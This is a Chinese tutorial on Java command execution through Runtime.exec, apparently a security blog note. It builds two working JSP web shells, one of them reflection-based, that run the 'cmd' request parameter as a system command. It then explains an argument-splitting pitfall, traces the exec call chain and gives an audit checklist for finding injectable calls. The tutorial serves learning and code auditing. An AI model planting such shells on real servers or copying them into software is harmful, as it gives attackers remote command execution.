0x01 前言

在Java中黑客最常用的命令执行方法就是通过java.lang.Runtime类 的 exec方法 来执行本地系统命令
因此学习好这个类的运行流程非常有必要

0x02 环境搭配

为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建

Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr

0x03 Runtime命令执行测试

  1. # webapp目录下面新建立一个文件: runtime-exec.jsp
  2. # 文件名: runtime-exec.jsp
  3. <%@ page import="java.io.BufferedReader" %>
  4. <%@ page import="java.io.InputStreamReader" %>
  5. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  6. <%
  7. // 漏洞触发点
  8. String cmd = request.getParameter("cmd");
  9. BufferedReader in = new BufferedReader(
  10. new InputStreamReader(
  11. Runtime.getRuntime().exec(cmd).getInputStream(), "UTF-8"));
  12. String line;
  13. StringBuilder results = new StringBuilder();
  14. while ((line = in.readLine()) != null) {
  15. results.append(line);
  16. }
  17. in.close();
  18. out.print(results);
  19. %>
  20. # 写好完毕以后启动项目
  21. # request.getParameter("cmd") 就是我们可控的地方
  22. # 表示url get请求的cmd参数
  1. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami

命令执行效果如下:
image.png

0x04 Runtime命令执行-反射调用

  1. # webapp目录下面新建立一个文件: runtime-exec2.jsp
  2. # 文件名: runtime-exec2.jsp
  3. <%@ page import="java.lang.reflect.Constructor" %>
  4. <%@ page import="java.lang.reflect.Method" %>
  5. <%@ page import="java.io.InputStream" %>
  6. <%@ page import="java.io.ByteArrayOutputStream" %>
  7. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  8. <%
  9. // 漏洞触发点
  10. String c = request.getParameter("cmd");
  11. // 根据系统自动调用对应命令
  12. String[] cmd;
  13. String osName = System.getProperties().getProperty("os.name");
  14. if (osName.toLowerCase().contains("windows")) {
  15. cmd = new String[]{"cmd", "/c", c};
  16. } else {
  17. cmd = new String[]{"/bin/bash", "-c", c};
  18. }
  19. // 获取Runtime类对象
  20. Class runtimeClass = Class.forName("java.lang.Runtime");
  21. // 获取构造方法
  22. Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
  23. runtimeConstructor.setAccessible(true);
  24. // 创建Runtime类实例 相当于 Runtime r = new Runtime();
  25. Object runtimeInstance = runtimeConstructor.newInstance();
  26. // 获取Runtime的exec(String cmd)方法
  27. Method runtimeMethod = runtimeClass.getMethod("exec", String[].class);
  28. // 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
  29. Process p = (Process) runtimeMethod.invoke(runtimeInstance, new Object[]{cmd});
  30. // 获取命令执行结果
  31. InputStream in = p.getInputStream();
  32. ByteArrayOutputStream results = new ByteArrayOutputStream();
  33. byte[] b = new byte[1024];
  34. int l = -1;
  35. while ((l = in.read(b)) != -1) {
  36. results.write(b, 0, l);
  37. }
  38. out.print(results);
  39. %>
  40. # 写好完毕以后启动项目
  41. # request.getParameter("cmd") 就是我们可控的地方
  1. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/runtime-exec2.jsp?cmd=whoami%26whoami

命令执行效果如下:
image.png

0x05 Runtime命令执行的一个小坑

  1. 注意:在查找到exec可控的时候也不一定就是说真的是命令执行了
  2. 例如:
  3. String c = request.getParameter("cmd");
  4. cmd = "echo 123" + c;
  5. Runtime.getRuntime().exec(cmd);
  6. 假设 变量c 是可控制的,那么可以命令执行么?
  7. 肯定会想,那我这样 "echo 123|whoami" 不就可以了
  8. 答案是不行的!
  9. 因为在exec跟进去的话就会发现里面会经过个StringTokenizer类之后返回了一个以空格分隔的数组
  10. 接着 echo 就是命令,echo 后面所有的都算是参数
  11. 因此要是发现了这种类似的代码,不要高兴太早
  12. 因为除非它最前面带的参数可以命令执行,不然就不能命令执行
  13. 例如:
  14. 方式一:
  15. echo替换为 "cmd /c" 或是 "/bin/bash -c"
  16. 方式二:
  17. cmd 替换为
  18. new String[]{"cmd", "/c", c}
  19. 或是
  20. new String[]{"/bin/bash", "-c", c}
  21. 这样子的才可以说有命令执行

0x06 Runtime命令执行调用链

  1. Runtime.getRuntime().exec(cmd)调用链如下:
  2. java.lang.Thread.State: RUNNABLE
  3. at java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
  4. at java.lang.ProcessImpl.start(ProcessImpl.java:134)
  5. at java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
  6. at java.lang.Runtime.exec(Runtime.java:621)
  7. at java.lang.Runtime.exec(Runtime.java:451)
  8. at java.lang.Runtime.exec(Runtime.java:348)
  9. at org.apache.jsp.runtime_002dexec_jsp._jspService(runtime-exec.jsp:10)

image.png
image.png

  1. 然后打开idea调试功能 启动项目
  2. 访问urlhttp://127.0.0.1:8081/mavenJspTest_war/runtime-exec.jsp?cmd=whoami
  3. 通过debug功能,得到整个调用链

如下图:
image.png

  1. 通过观察整个调用链可以发现, Runtime.exec()方法,只是命令执行的起点,执行的大概逻辑是:
  2. 1. Runtime.getRuntime().exec()
  3. 2. java.lang.ProcessBuilder.start()
  4. 3. java.lang.ProcessImpl.start()
  5. 4. java.lang.UNIXProcess()
  6. 5. UNIXProcess()里面的构造方法中调用了forkAndExec(xxx)
  7. 6. forkAndExec()里面根据不同系统windows/linux调用不同操作系统级别命令并返回PID
  8. forkAndExec()方法被 native修饰了,这表示它是JAVAC代码进行互操作的API
  9. 所以我们跟到 forkAndExec()方法 就可以了
  10. 有了这个简单的分析,我们可以简单的知道Runtime.exec()本地命令执行的流程了
  11. 一定要记得 Runtime.exec()方法 只是命令执行的入口点,不是终点

0x07 如何查找

  1. 1. Runtime.getRuntime().exec(cmd); 搜索该方法
  2. 2. 查看cmd变量是否可控制
  3. 3. 如果是字符串查看是否 "cmd /c" 或是 "/bin/bash -c"
  4. 在或是 承载的命令本身就类似 "cmd /c" 可以直接命令执行
  5. 4. 如果是字符串数组
  6. 查看是否类似这样
  7. cmd = new String[]{"cmd", "/c", c}; // c变量外部控
  8. 或是
  9. cmd = new String[]{"/bin/bash", "-c", c}; // c变量外部控
  10. 这样也可以命令执行
  11. 5. 如果是类似这样的,那么就无法命令执行
  12. String c = request.getParameter("cmd");
  13. cmd = "ping www.baidu.com" + c;
  14. Runtime.getRuntime().exec(cmd);